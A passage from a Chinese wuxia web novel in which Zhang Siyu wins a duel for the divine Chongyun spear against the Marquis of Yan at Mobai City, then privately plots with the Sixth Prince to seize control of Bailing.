刹那间,枪尖横扫前滚,时快时慢,笔锋纵横交错,教人眼花缭乱。
而禁军包围之中,亦有一容颜洒皎的将领与年轻的使枪男子打得不可开交。年轻男子的枪如疾蛇,又险又急,直奔面门,将领只微微侧头,枪风擦着他面颊而过,反手一抓,徒手接住了红缨长枪,魄力非凡。
年轻男子露出一个笑容,长枪挽了个空,抖出长枪,再袭时,枪势汹汹起来,如狂雨骤临,一枪接过一枪,比刚才的攻势,更加精疾,禁军将领只得慌忙后退。
就在将分高下的瞬间,一杆铁笔猛然旋来,长枪男子自指尖到臂肩,一股子麻流反震心脉。随着将领一掌震心,年轻男子退后数步,紧紧捂住胸口。
林兮定看,原来是判官掷出兵刃,解了禁军将领燃眉之急。可就在恍惚之际,燕侯的碧落飞魂枪猝然刺近,判官一个矮身,避开枪锋,燕侯运转枪头,自上而下,以一个极刁钻的角度,再次刺出一枪。
判官险险避开,这时,他的身子已是半倾之态,但看枪尖又瞄着他身侧点来,意在封锁退路。判官就势放倒侧卧,而后掌心撑地,身体贴着地面旋向另侧,腾身跃起。
这时,一队弓弩手已是就位,一支支弩箭直对向燕侯,燕侯身后一队亲兵也纷纷亮出腰间虎刀。
判官道,“燕侯爷,再打下去,您是没有胜算的。”
燕侯暗咬了咬唇,他清楚,寒手判官全力相搏,继续缠斗,不较胜负,自己内力也将被耗去大半,“单打独斗,犹未可知。”
禁军将领此刻也歇缓过来,上前喝道,“燕侯,到了白陵,就是我们的贵客,只要你们愿解下兵刃,我自然放行。”
燕侯一脸轻松地看向那将领,“楚英,本侯还不是你一句话就能唬的。”
楚英哈哈一笑,说道,“墨白城的规矩对事不对人。”随手指向燕侯后身的楼门,“您要是觉得这规矩不对心思,出了那座门,任带着多少兵刃,只要不杀人放火,我绝不多问。”
“一派胡言!”使长枪的男子破口道,“我们到白陵是为比武而来,没有兵刃,如何比试?”
楚英扭了扭手腕,“我跟你比划时,不也没使兵刃吗?难道没了枪,你这燕山少主,屁都不是了?”
齐少主手指恶狠狠挑向楚英,“今日,我就打烂你的嘴。”
楚英嘴上蛐蛐了两声,环视了弓弩队伍过后,挑衅道,“齐少主,有本事,再上前一步试试?”
齐少主仿佛后背着了骨钉似的,瞬地后缩了半个身位。
燕侯不惧,上前两步,“楚英,本座念在与陵侯同僚之谊,不和白陵小少主计较今日之事。但若想以此种手段为比武之事投机,来保全张家的名声,我大可告诉你,不仅这份小聪明耍的不是地儿,寒手判官明日也要下阴间去做判官了。”
一阵蹄声打破僵持,远见一匹雪龙骏马昂立步来,马上男子竹身修立,官袍简致。
林兮臆测,这匹大约当是姚十一提到的白陵少主的坐骑,白马战神了。
“少主有令,入墨白城解兵之礼,燕侯爷,免!”马上男子传出劲冷的一声。
林兮不错目地瞧着马上的人,自问生平从未见过如此清绝映世的脸孔,又白又俊,处众人中,似珠玉在瓦石间,男子看了都不忍亵渎。
判官继而向燕侯,拱手道,“燕侯,多有得罪。”同马上男子互换了一个眼色,走向齐少主旁,递出掌,“齐少主,请。”
齐少主正要挪步进城。
“请齐少主解下兵刃。”判官追出一声。
齐少主反手推开判官,“放肆!便是到了凤来宫,我等也是进了内宫之门才解去兵刃。你们白陵好生威风,才过外城门,就胆敢开口要去我兵刃。”
判官回头望了眼马上的男子,只听那男子道,“少主只说了免燕侯一人解兵之礼。”
“恕我眼拙,阁下又是白陵的哪号人物?”齐少主探问道。
马上男子瞥眼睨视,“白陵少主洗马,陈雅安。”
齐少主恼羞道,“洗马?你可知道燕山少主与白陵少主一样,有世子位,享亲王衔。小小洗马是何等品衔,也配这般同我讲话的?”
陈雅安冷着声回道,“少主洗马,为从五品。”
“哟。”齐少主轻嗤一声,“原来你是知道的。那见了本少主,为何不下马行礼。”
陈雅安掸了掸襟口,“恕鄙人传令之身,不便行礼。”
齐少主正要揶揄,陈雅安轻指弹空,不以为意道,“罢了。”转向着环站成圈的禁卫发令道,“少主有令,入宫解兵之礼,齐少主,也免!放行吧。”说后,一夹马臀,朝宫宇方向驰去。
少主令旨,在陈雅安口中有如儿戏一般,齐少主对着渐远的骑影疑声道,“这是什么人?传的是真令还是假令?”。
楚英阔步上前,玩笑道,“我说齐少主,你是想解兵刃还是不想解兵刃?”
齐少主犹豫一阵,虽是气不过楚英和陈雅安的嘴脸,但毕竟免去了麻烦。
自陈雅安传完令后,在燕侯
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身后一队亲兵纷纷解下兵器。
楚英领着禁军毕恭毕敬地恭送一行人走后,才瞧见林兮。见他身后跟着军营兵士,上前问道,“干什么来的?”
王进不敢直视,点下额头道,“回楚统领,林公子是二公子请的客人。”
楚英嘬了嘬牙花。
林兮微微颔首,拱手行礼道,“在下林兮,云间城人氏。”
“云间。”楚英低声重复着,未再详问,转向身后禁军吩咐道,“你不必入宫参拜了,来人,送去客苑。”
楚英派出的人与和善的王进不同,很是肃武。林兮见是一副难以熟络的模样,也未再多语。
进到客苑不久,来了位自称小杨的下人,说是张司宇现下抽不出身,派来招呼林兮的。
这客苑很是冷清,准确来说,除去小杨,林兮连个说话的人也抓不着。因为住在客苑的,不是客人,而是与客人随行的下人们。
打听过后,除去白陵显贵和附近几门武宗,陵侯夫人母家也来了一行人。
“小杨哥,我想出去转转。”
小杨面色一难,有苦说不出似的,“林公子,楚统领吩咐过了,今日您不必入宫的。”
林兮蹲在院内,指尖越过瓦墙,指向耸立出的宫宇尖角,“他只说了我不可去那里,没说不许我出这个院子。”
小杨脸露难色,“这,这附近确实没什么可逛的。”
林兮唰地窜起身,“我来的时见着有条河,我还是头次见到北地冰河呢,你闭只眼,让我去细瞧瞧。”
小杨扭捏了下,“那河通往后山,后山是明日比武之地,此刻已是封禁了。”
林兮甩出枚碎银,“我只去河边,不去他处。”
小杨四处望了望,推回银子,“林公子客气了,我去取您的膳食来,您可要留心着。”
顺着河边,过了几道回廊游亭,一路远眺,飞檐斗拱,玉墙威严,殿宇井然有序。
里面的人也是有序,他们衣饰清素,连眼神都是统一的,仿佛被提摄出人情世故,都那么肃正,只有对秩序的遵从和对命令的服从,显得地面、墙头留下的残雪,都生了几分颜色。
寒风凛冽,墨白城就像是一座飘幽的坟场。
他试着阖闭双目,果然,就像是置身于没有人烟、失去温度的孤域。
廊下,一少年身披墨黑的狐裘大氅,腰处悬露了一把剑,正好露出一截殷红的锦衣。
林兮定睛,剑身青光闪耀,刻纹罡正,好奇心驱使他向那狐裘少年而去。
越是靠近,越是认定,那剑正与《五州山河异志》中,所绘的符光剑模样一般无二。
又看了看裘毛拥围下,少年松弛闲逸的侧脸朱唇,宽目炯亮炯亮的,不知食了多少精华细物,才养出这样一张灵气秀脸。
林兮不禁心下一叹,若不是到了墨白城来,便是一生之中,都绝无可能在同一天内接连见到两位如此俊秀的神仙少年。眼前这位少年,既持陵侯的符光剑,多半是陵侯公子,张司宇的弟弟,虽比不得陈雅安那般俊极,但他的眉眼间却聚着另样的灵气,好像只消眨上几下,便觉他在笑着说话一般。
16. 战神再世
那红衣少年,倚栏跨坐,从一琉璃制盆中,掏出把饵料,抛向冰上凿出的一水窟窿,招来水下锦鲤在洞口翻动跃腾,未理会林兮的靠近。
“见过张公子。”林兮拱手作礼,向那少年招呼道。
那少年一顿,嘴角提笑,随口道,“你是谁?我怎没见过。”
“在下,云间城,林兮。”
红衣少年乌眉一挑,“哦,我知道你是哪位了。来这儿做什么的?”
“在下正在找回客苑的路,请张公子莫要见怪。”林兮紧忙说道。
丢出饵料的手朝左一指,“客苑在那边了。”而后又伸向右方墨白山山腰的位置,继续道,“别走那儿去,那里的主儿正闭关呢。”
林兮望去,山腰处确有一院落,隐逸在雪林之间,于一片素白中清然而立,袅袅青烟,慢舞升腾,仿佛墨白城中一切的热闹喧庆都与之无关。
“多谢张公子指路。”
“不客气。”少年似乎待腻了,拍拍手站起身,大摇大摆向亭外走,口中懒洋洋道,“还有,我不姓张。”
步伐慵懒的拥裘少年径朝北极宫方向而去,他腰间晃摆的符光剑,一闪一晃,极度刺目。
回到房后,小杨已经布好菜盘。
林兮看着桌上的菜肴,喊小杨坐下。小杨推让两番,见林兮特意关紧门窗,也就不再客气了。
林兮说起遇到红衣少年的事。
小杨低声介绍,“半月前,二公子回到北极宫,身边便跟着这位贵客。具体是什么身份我们也不大清楚,只知他是凤临一家大户的公子,我们都称他作鸣公子。他整日在宫里出入,做了不少出格的事,还叫嚷着让少主和三公子与二公子比剑。”
“比剑?谁赢了?”
“这,二公子同三爷比了一场,看二公子胜了,鸣公子才作罢的。”小杨说道,“也就夫人脾气好,换作是君侯,绝容不得鸣公子这般喧腾的。”
裘围拥中那张灵秀而气弛的侧脸,林兮大约拼凑出凤临鸣公子的身份。
沉寂的夜空,乌云密涌,如牙的残月,虚悬渐隐,北极王宫,被一层暗色笼罩。
冲云一战,或荣或辱。
此刻,已将自己关在摘星阁内数日的张司宇,最是清楚明日冲云之约的意义。
他朝对着那杆枪,寒光闪过,旧忆如烟在前。父亲夺位失败,令童年身处在父去母亡的乌云下,伯父册立白陵少主后,接连而来的变故,从发配边境,到出质凤临。
个中酸苦与绝望,更是刻骨铭心。
仰人鼻息的寒冬终有消逝之日,可寒冬后的那个春天,又是怎样的?是春暖花开,还是春寒料峭?
“伯父,您能做到的事,我能做得,您做不到的事,我也能做得。”
心底无数次鼓喊,沉眠已久的英雄梦,即将苏醒。
十一月初一,后山冻湖,冲云之战。
湖面上的蓝冰冰泡,在冬日暖阳的照射下,散发着晶石般的光芒,饰得整面湖泊如冰晶之域。
湖心亭廊下,坐着身份显贵的,后方的岸边,则是其余宾客。
林兮一眼望到,中座是一雍华贵妇的背影,两旁伴坐的是几位清秀少年,见其中一位乃是一身红衣,多半是昨日见过的凤临鸣公子,至于其余三位,则是一水的天青锦衫。
冻湖中央,燕山君侯,持枪而立,虽已是满头银发,但双眼炯炯有神,站得比立在冰面上的乌金长枪还要挺劲。
一剑目鼻正的中年人从湖心亭走向冰面,年岁约莫四十露头,手捋疏须,亦是一副浩浩身躯。
“燕侯,久候多时了。”
“二十年,是很久了。”燕侯回道,“张三爷,二十年前,你我还都如这座下少年般,真是岁月不饶人呐。”
张鹏沉目,二十年前的墨白城,父亲曾问诸子可有人愿出冲云之战。他心跃动,虽是庶出,但张家男儿的心,又岂会因出身而埋落?可大哥和二哥也纷纷争言,他却只能沉默噤声。
二位兄长争锋僵持,父亲大喜之余,不忘责他一句,不求上进,他只充愣道,自己平凡无为,白陵有两位兄长坐镇已是足够。随后,其父叫两位兄长对剑,由胜者出战。有素衣剑仙之名的大哥自然技高一筹,不仅胜了二哥,还胜了远道而来,对家中那杆神枪虎视觊觎的上一任燕山君侯。
那日,他第一个冲上,为大哥庆贺,一句句朝大哥喊道,“白陵战神,白陵上将”,可心中,却羡慕十足,但也仅仅是羡慕。
他无法妒忌大哥。
第二次冲云之战前夕,张鹏不见大哥归来的身影,而早年离家的二哥更是杳无音讯。大嫂带侄儿来求,请自己代为出战,以守住冲云枪。
他本犹豫了下,白陵张家最重名声,冲云一战,若派一庶出之子,外人会怎么猜想?
但除了他,墨白城内的一众子侄,最大的张天官才刚满十八,谁能担此大任?
可半月前,张司宇回府,这位自小便恭敬有礼、谨言慎行的奇童侄儿一反常态,先是出言请战,后是又提出“若有人不服,便以张家规矩来定,武高者得”。
张鹏告诉张司宇,昔日张家先人,为冲云枪竭尽心血,岂可儿戏视之。
随张司宇一同到墨白城的那位红衣少年争争不让,张鹏认得那红衣少年是凤临六皇子。虽不愿让皇族中人掺合张家内事,可那少年所携的符光剑,正是大哥此先的佩剑,他想,也许大哥在此,也会是这个意思。
张司宇去凤临,不知吃了什么神仙秘药,武功飞进,远超所想。
张鹏亦惊亦喜,这位奇童,一个月后,才将迎来十八岁生辰。晃神之际,张司宇的剑飞向眉心,他输了,再度让出,出战冲云的机会,他知道,用冲云枪的张司宇比使剑的张司宇,更强。
二十年前,大哥便极想持冲云枪出战,震慑齐家。只是,那时张家之枪法尚不完善,若是输了,丢的不仅是一杆枪,更是张家盛名,为求稳妥,才不得不雪藏了冲云枪。
张鹏心叹,好一个岁月不饶人。“燕侯,别来无恙。如今东境太平,即使没有冲云枪,也不误燕山人政蒸蒸日上,依我说,冲云枪在白陵待习惯了,您不如就让了吧。”
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“让?当年张家到燕山诈取豪夺时,怎不提一个‘让’字?”齐远峰讽道。
张鹏不慌不忙,“先祖是为天下计,天下之事,如何谈得一个‘让’字?”
“说的倒轻巧,张云冲恃武夺枪,我是亲眼看着他带我传家至宝离开燕山的,怎么让?如何让?”燕侯破声道,心愤之余,不忘讽言,“二十年前,我齐氏一族赴约而来,莫说张云冲那贼人,就是银龙枪,都未请出来。你们白陵张家不是让神枪随张云冲那老贼入了墓吧?若是如此,速叫人掘开张云冲的墓,将银龙枪取来。你们不会用也不打紧,只要你双手奉还银龙枪,本座便教你三招枪式。”
张鹏肃声,“燕侯,叔父已逝,口齿之下,还请留德。”
燕侯看着张鹏身无一兵一刃,又嘲讽道,“庶出之子,当真登不得台面。白陵张家既将此战定为冲云之战,就该以枪为战。二十年前张鸢持剑出战,便是对银龙枪大大的不敬。没想到今日,你更是眼高,连兵刃都不用了。”
张鹏望了望后山深处,宗祠所在的方向,“和你比试的人还未到。”
“哦?可是陵侯要亲自出战?如此甚好,我这燕山枪王正好和白陵剑仙分出个子丑寅卯来。”
张鹏微摇头,“燕侯,白陵张家,与你齐门不同。自是家中人才辈出,大哥才放得下心,四处云游。哪像燕侯这般,一把年纪了,凡事还要亲力亲为。”
燕侯看了看山腰处正升起团团青烟的天作之合馆,问道,“本侯有言在先,便是白陵的小少主出战,最多可让她三招。”
张鹏噤声不语,望向宗祠方向,神色肃凝,如冰上孤塑。
凛冽寒空,被一束银光划破,其声鸣如龙吟,响似虎啸,贯入冻湖,激起一片晶光闪闪的冰碎,丈高过人。
一杆银枪,傲然立在冰面上。
人声沸起。
湖心亭中,意驰卧坐的那位红衣少年,瞬时提神,伸出头去瞧,眼中对着适才飞来的那杆银枪,溢出一股满意的神色。
从那苍银枪身之中透出的凉光,以及如银龙出云般的气势,都料定,适才飞来的,正是张、齐两家争相不让的那杆神枪。
燕侯亦认出,转瞬而逝的那缕光,和四十年前,张家那位天选之子持枪出城时,发出的光,是一模一样的。
“燕侯,介绍一下,此乃我白陵张家神兵,冲,云,枪。”
见一银袍长衫的人影,已经悄然立在了湖亭顶上。
这杆枪,曾叫银龙枪,至少,在燕山时,是叫银龙枪的。自被张家夺去后,连名字都给它改了。
燕侯满脸不悦,朝亭顶人影问道,“本侯只听过银龙枪,恕本侯眼拙,阁下是白陵张家的哪位?是陵侯的公子,还是他那侄儿?”
“在下,墨白城,张司宇。此枪乃我叔祖张云冲所得,随他名讳理所应当。”
燕侯喝道,“无知小儿,银龙枪在我燕山齐家已有数百年,岂是你说改就改的!”
张司宇端着神色,讥诮道,“那你叫它一声,看它理不理你?”
燕侯气急盛怒。
17. 桎梏破茧出
且不提哪门地位高,哪门地位低,诸城君侯向来平辈论交,便是张司宇的父亲见到自己,都该毕恭毕敬,尊称一句“燕侯”,或者“齐大哥”。可张司宇倒好,直接无视辈分先后,身份尊卑,要他去问一杆枪答理回话。
燕侯教训道,“张司宇!休要狂言,就是你老子在我面前,也不该如此同我讲话!”
张司宇未露怒色,不缓不慢道,“燕侯,您远来是客,若论尊卑,当由与您同辈之人迎战,再不济也该由少主出战。您可知,为何张家定要派我一后生小辈不可?”
燕侯自是不知张司宇请战一事。张司宇足尖一点,凌空而下,落在冲云枪旁。
仅这一个动作,燕侯断定张司宇的修为,同辈无出其右。
又见张司宇挥扇一摇,“这,可都是为了前辈您。”
“我?”燕侯疑道。
张司宇颔首,“那是自然,燕侯与冲云枪四十年未见,我知您念枪情切。我若再不请战,怕您就是再等上二十年,也难见到了,更何谈要摸上一摸?”
燕侯目有惑色,张司宇继续说道,“难道不是吗?听说上一次冲云之战,就因我伯父是持剑而战,没有带上冲云,您便犹如个怨妇一般,碎语不休。”
燕侯道,“不错,你张家既霸了银龙枪,就不该令它束之高阁。”
张司宇将玉扇收回腰间,拱手作礼道,“既是如此,墨白城后学晚生张司宇,今日愿同冲云一并领教燕侯爷高招。”
燕侯长枪横身,踏前一步。
张司宇背手抽枪,指尖稍触,冲云枪如磁石般吸贴进掌。
乌金枪游近眼前。
张司宇瞳孔蓦缩,手腕一抖,递出冲云枪,对峙而冲。
燕侯后闪几步,“好小子,年纪轻轻,竟有这般修为。”
张司宇目中愈发凛肃,心念,冲云,助我。
冲云枪四周,瞬起光辉。
适才,林兮没有看错,那杆枪,是真的在发光,如雪茫,如月辉。
张司宇银袍松身,持着一杆银亮的辉枪,在如天畔的冰面上,逸如仙身,霜如寒神,仿佛一只蛰伏已久的银龙。
燕侯对着那银银茫色,心头一惧。
四十年前,那杆枪落进张云冲手中,发出的就是这样的光。
他正好奇想着,为何银龙枪到张云冲手中会散出光来。
张云冲的剑锋已如劲风扫落叶般,将齐家众生的长枪削断,十几支枪头萧萧直下,听到哗啦啦着地的声音,他才回神看到,齐家人手中握着的,均是被去了半截的断杆。
梦魇般的光泽再现,燕侯不由心忧,此子莫不是张云冲再世?
燕侯右弓上前,单手纵枪,连甩出数枪,枪%刺如林,枪势汹涌,啸如群蛟探海,枪枪对着张司宇要害而去。
张司宇想起,叔祖张云冲所留的《克碧落飞魂枪要诀》中,有一招“游戏人间”,以破此式齐家枪法。当即枪势一收,踏出星斗般的步伐,在冰面上侧身飞闪开。
燕侯见自己所使的“穿山破海”刺不到他,亦不再藏招,挥转乌枪,将一杆长枪挥腾得像要飞出似的,几乎要将白陵半城风雪,都盘集到了他的枪尖上。
张司宇不遑多让,冲云枪一转,抽出枪锋,旋即,回身又递出一枪,瞬息之间,那冲云枪化作一道银色光龙,伴着流动的星光步伐,与齐远峰手中的乌蛟缠斗,劈劈啪啪的金属碰声不绝于耳。
林兮见冰湖之上,一少一老,各持长枪,两杆枪擦着电光石火,缠得如是龙蛟在眼前飞走。不由为张司宇担心起来,心道,剑仙酒神,枪王巫后,今日司宇兄对上天底下武功最高的“四尊”之一,丝毫不落下峰,确担得起那文星武冠之名。
燕侯之枪如燕山狂雨,枪疾目众,在冰面上滑跃飞挪更是如鱼得水,一杆乌金枪,真如灵蛇般来去如风。
张司宇所用的枪法,更为凶狠霸道,此套枪法,共计三十六招,除了张云冲留下的招式,张鸢和张司宇亦潜研数载,添了十余式杀人夺命的招式。
张家自创的枪法虽是上乘,但对上齐家传承数百年的碧落飞魂枪,变化仍显不足。张司宇险些被压制的无从还手,幸而他之枪法中步法上妙,倒退后跃,燕侯一直追不上他,但张司宇每每甩开齐老,又故意放慢步速,待齐老飞枪再度袭来时,便恃冲云迎上几枪,与其不接不离的缠斗,察看他招数中的奥秘。
燕侯识出张司宇并不恋战,训斥道,“你这是在比武吗?”
张司宇寒色一闪,右手高高扬起冲云枪,气过右臂经路要穴,右手掌处如汇龙象之力,一杆枪如铁弩巨箭般奔燕侯而去。燕侯抵枪格挡,不知是回龙功之霸势,还是冲云枪之神力,连人带枪,被震出十米开外。
冲云枪撞飞燕侯后,仍如不回头的飞龙,冲向厚厚的冰层,破冰入湖,白茫茫的冰面上,溅起一道水柱,高高跃起,又重重落下。
目睹那杆神兵沉入无尽的冰湖中。
燕侯,张鹏,红衣少年,所有人,都如心头被活剜走一块肉似的。
湖面辽阔得望不到边际,像被无限拉长的冰绸,冲云枪沉入湖底,显得尤其浩渺。
亭下观武的张天作,嘴边露出一丝极不易察觉的轻笑。
燕侯急斥道,“臭小子,纵你不是我的对手,也不该损我齐门至宝。”
张司宇虚凌数步,落到燕侯身前十余步处,向燕侯问道,“燕侯,二十年前,你曾出言,说我白陵无会用枪之人。今日,你见我张家枪法如何?”
燕侯回忆起适才那套大开大合的枪法,如不是在冻湖之上,自己可步履如飞,以那套枪法霸道的攻势,不敢言胜。“雷霆霸势,与张家的剑法,如出一辙。比武尚未分出胜负,你再取兵刃来吧。”
红衣少年惋惜之际,手已经抓起腰间的符光剑,准备抛向张司宇。
却听张司宇不驯叫嚣道,“这套枪法虽是我张司宇使出的,但却是由云冲叔祖而始,传予伯父,伯父又传予少主和我,历经三代人心血,才有小成。今日可得燕侯如此一句评价,张司宇也算是不辱先人使命,二十年前你辱我伯父之言,我便不与你较了。”
燕侯有受辱之感,切齿催道,“快去取兵刃,免得人称我胜之不武。”
张司宇举起右手护身,喃声念起,“冲云,枪来。”
一老一少,在看似空静的冰面上四目相视。
不知怎的,燕侯生出一种不好的预感,因为他脚下的冰层,正窜滚着千鲤腾涌的动静。
冲云枪,《五州山
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河异志》中,被张司宇列为第一神兵,凭的便是这个“神”字。
这杆晶铁所造的长枪,既认主,又识主,聚满的神力兵灵,可使用枪之人战力倍生。
当年,张云冲对它一见难忘,就是被此枪之神吸引,被此枪之魂召唤。因此,当张云冲第一次摸到冲云时,沉寂数百年的枪魂觉醒,也就是那周身淡淡的银色辉光。
张云冲辞世后,冲云亦在等待它新的主人。
少年时期,张司宇每每挥舞冲云枪,越练越是起劲,越练越是入境,越练越是觉得冲云枪好像已与己身合二为一似的,直到有一天,冲云枪又发出那样殊特的异光。
duang!
燕侯耳后震响,脚下冰面巨颤,如地震、如山摇。
乌金枪好像被一股力量冲开。他细细一瞧,那冲云枪竟自湖下钻出了头,顶飞着手中的乌枪。
随后,掌心处擦过一道飞光,冲云枪一划而出,直向张司宇奔去。不偏不倚,停在张司宇早高高虚握的右手中。
原本握在他手中的那杆乌金枪,被冲磨看不出它曾是一杆枪。
神乎其技,时间停瞬,一双双目怔口呆的脸,紧吓得,呼吸骤停。连那红衣少年,他那双看遍世间尤物的慧眼,也被惊得不舍得再眨动半分,生怕又错过了什么鬼斧神工的表演。
燕侯怔怔一愣,“这是?”再看向自己握枪的手,已被冲云枪擦得血肉不分。
胜负已明。
终日噎在张司宇心头的巨石缓缓下坠,“冲云认主,我既唤,它自来。你齐门徒得此枪,难道,连这神兵真正的模样,都不曾知晓吗?”
燕侯咬唇,羞辱感强涌。伸手抚着心窝处,还未来得及说话,便从嘴里喷出几口鲜血。
“燕侯,冲云枪,我只许你摸这一次。还请燕侯保重,二十年后,冲云最后一战,切勿失约。”说罢,回望围在湖边排排宾客,他知道,自己不用再说一句话,也会是此刻唯一注目和趋奉的中心,墨白城内,除了他和手中的那杆银枪,一切都成了添附。
张司宇移目向远方山腰腾升起的缕缕炊烟,心道,“少主,终是我先你一步,成为张家的战神了。”
林兮在一旁远望,他亦想上前亲自恭贺一句,但人山从众,他只是这其中最不起眼的。那片冰面上的威势和清寒,眼前的张司宇令他陌生。
张天作的声声“二哥”没在人声,他想冲上庆贺的身子,亦被陵侯夫人拉住。
“司宇!”张天官冲了上去,冲到张司宇身前时,他意识到了什么,停在新任张家副主身前约两三步的距离,“司宇,我们又赢了!”
张司宇一笑回之,努力掩抑那早已如惊涛巨潮般的心绪。静静走到张鹏身前,一礼恭道,“三叔,承先祖福泽,侄儿今日幸不辱命。还请三叔随侄儿一同前往张家宗祠,敬告列祖列宗。”
张鹏默默颔首,轻声嘱了儿子一句,“天官,先去招呼宾客。”
同样心绪乱扰的,还有全程观看张司宇胜冲云一战的陵侯夫人潘氏,适才那红衣少年在其耳边妖娆一语,似提醒、似立威。
“张夫人,冲云一战,果真不凡。恭喜你白陵张家,又获战神,白陵事多,张少主年幼,有司宇帮您主持大局,再合适不过了。”
18. 孤迎潮起
张家宗祠。
三柱清香,张司宇肃目默祷。
“如今,我是不是也该尊称你一声战神上将了?”张鹏沉着声问出。
张司宇端视长立在祖先牌位前的那杆神枪,说道,“三叔客气了,依着家中规矩来便是。话说回来,如果伯父知道侄儿做了战神上将,也定是像三叔一般为侄儿高兴,毕竟他老人家在时,就时常教诲少主与侄儿,要我们二人都成为白陵的战神上将。”
张鹏心顿,张司宇身上流的,终究是二哥的血。发问道,“司宇,你当真记得大哥对你的骨肉亲情吗?”
张司宇似笑非笑道,“三叔说哪里的话?没有伯父昔年教诲,哪有侄儿今日?”
最令张鹏不安的,正是如此。
眼看张司宇张口闭口皆不提他那夺位失败,离家出走的父亲,张鹏道,“冲云一战,你功不可没。就当是祖宗之意吧,毕竟在张家,只你一人使得那冲云枪。”
张司宇目光停驻在惜之愈命的冲云枪,三指竖天,斩钉截铁道,“三叔若还放不下心,侄儿今日便对冲云立誓,此生有三不负。一不负张家列祖列宗孝慎之名,二不负伯父养育之恩,三不负少主相赠冲云之谊。如不遵此例,即为背誓,张司宇愿破门离家,再不以白陵张家人自居。我这样,三叔总该满意了吧?”
字字如金,张鹏抚拍司宇双肩,强笑道,“司宇,大哥和之合已去,你的话他们虽听不到了,但他们都和列祖列宗在天上看着你呢。望你万万不要伤了手足情谊。”
张司宇唇角一提,“那是自然,多谢三叔。”缓缓走向一众灵牌前,哀声道,“三叔,侄儿和冲云,想在此多待会儿。”
张鹏闻张司宇下出逐客令,默然离去。
张司宇独立灵堂,对着冲云枪看了良久。
于齐家,这是传家宝,于众人,这是第一神兵,于张司宇,这是他在墨白城安身立命的命根,幸好,他抓住了上天馈赠的转瞬机会。
林兮目送着渐去的来客,齐家人的愤愤不甘,他不敢信,那待己谦谦的张司宇,对待燕山君侯,竟是另副倨傲,与望族名门间的鸿沟,好像也立在他面前了。
被张司宇邀来,本以为就是像去位朋友家做客,但到墨白城已经三日了,除去适才观战时,远远瞧着了张司宇,至今都未能与他说上几句话,多次询问小杨,得到的回复也仅是张司宇不见客。
他疑惑,张司宇邀他来,难道真的只是走马观花的看一看白陵城和冲云枪的模样?
但那匹马,那本书,又令他觉得,张司宇不是那样一个以名门子弟自居的人。毕竟,所有的宾客中,或名门权贵,或世家子弟,只他一人,普普通通。
宾客大多离开墨白城,只江邑潘家人,因是张家姻亲,似乎要多住些时日。还有随张司宇一同来的那位红衣少年,离府的人中,未见那瞩目衣色。林兮不知去留,想着速速见到张司宇,速速还了那本书,继续回到清农,靠着给朱阳世子写文搏个投名之机。
日头偏西,墨白山晕橙光,张司宇才负着冲云枪出了宗祠,一路默行……
回到摘星楼看到懒躺多时的红衣少年正举着一本书,无所事事地翻着。张司宇未招呼,径直向内屋去,收好冲云枪。
“司宇,快!把冲云枪拿来让我细瞧瞧。”红衣少年吆喝道。
张司宇远瞟了一眼,一边熟练地收着枪,一边说道,“阿鸣,你不是已经看过了吗?”
六皇子三两跨步到张司宇前,第一神兵近在咫尺,“适才太远,瞧不真切。”
少年伸出的手被一掌拍回。
张司宇拦道,“阿鸣,你想看什么我都不拦你,除了这枪。自我得到它以来,这枪就再没让旁的人碰过了。”
六皇子闻声,亦不再伸出手,只眼巴巴望着张司宇将神枪收回箱中,审度着放枪的箱盒说道,“这枪,确实不错。”
张司宇拍了拍少年腰间的符光剑,轻松道,“这把剑也不错。”
六皇子挥手拔剑,视着剑身正光,说道,“和冲云枪比,终是俗物。不过还有那么一点点用场。”
“亏你有心,想着带上这把剑来。”张司宇斜瞥剑光,回想三叔若不是看在这把伯父旧剑的面上,请战比武也不会如此顺利。
“张家副主,战神上将,恭喜你一战翻身了。”六皇子收回剑,用着妖里妖外的语气说道。
张司宇听到阿鸣口中喊出梦寐以求的“战神上将”四字,气驰神摇,冲着眼前语气甚嚣的少年,“阿鸣,我有今日,多谢有你。过几日我叔父回江心学宫,我请他顺路护送你回凤临。”
“司宇,你大事虽了,也不可大意。你那伯母为了她自己的孩子,是绝不会停手的。这几日我在府上游走,她和潘家交往甚密,白陵人心也还向着他们呢。”六皇子一改顽态,正色说道。
“江邑人的手是长,可又如何?”张司宇语气甚嚣道,但转又愁目,良久后才道,“我真正的心腹大患,在天作之合馆,他们同气连枝,处处与我做难。”
六皇子端着下巴,忧虑道,“张鸢一家雄踞白陵多年,根深蒂固,白陵这张大饼,得一口一口的吃才行。可惜太子不敢直接对他们出手,不然,也不会这么轻易,就许你回白陵帮他做事的。”
“白陵的浑水,我自己蹚就好。若是连这几个人都降不下,我又怎治得住白陵城。”张司宇振振有声,“阿鸣,多亏你为我引路。你帮我转达太子殿下,他助我至此,司宇铭感五内,一定不负他之所托,帮他将整座白陵城夺来。”说着,用着饶有意味的眼神觑向阿鸣,“待有了白陵兵马在手,我们就都高枕无忧了。”
六皇子淡是点了点头,“可有主意了?”
张司宇道,“分而化之。”
六皇子悠悠望着张司宇,“你想把白陵少主的左膀右臂一条条卸下来。”
张司宇应声道,“楚英虽掌管禁军,可他终归是个莽夫,倒是陈雅安,看起来软软弱弱的,却是块儿实打实的硬骨头。”
六皇子回忆起那张令他生羡的冷俊姣颜,说道,“陈雅安,我私下观察过他,那个掖庭贱奴牛气得很。”
听到六皇子竟将陈雅安的出身也打听出来了,张司宇打趣道,“这你也知道了?是,他深得少主信任,少主的令旨,多半是他的主意。”
六皇子邪气一笑,“还有风言,说他是陵侯私子,若真这样,确实不好办。”
张司宇无奈点了点头,“若非因此,我真恨不得直接给他个了断。”
“所以,你想把他们几个分开?”
张司宇不置可否,“天作,明年也满十六了。是时候出天作之合馆,去看看外面的景象了,我也依盟约,还太子殿下一位白陵质子。”
“江心学宫,就在凤临,城阳公主的地界儿上,无论是他还是别的什么人,每封信件送不送得到白陵,可要看我那皇姐的心情了。”
张司宇道,“我也会把林兮送去江心,那个人是今后扳倒太子的关键,你可先别动他。”
六皇子即刻会意,“他若知道今后你可以为凌御医昭雪,必会对你感激涕零的。”转而又故意问道,“我说,你是怎么通过一篇文章得知他竟是凌御医遗孤的?”
张司宇看过那篇《哀乐论》后,便托请六皇子查探作文之人的根底,不想一查,还意外得知了林兮的秘密。
张司宇笑了笑,故作神秘道,“这都看不出,如何成就我们的霸业?”
浮云悠悠,天卷入墨,最后一缕余晖散尽,一弯新月,上了墨白山头。
张司宇留六皇子一人在他屋内。冲云一战事了,他也才得空,想着去见见林兮。一开屋门,见林兮却在收拾
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包裹,问道,“准备走了?”
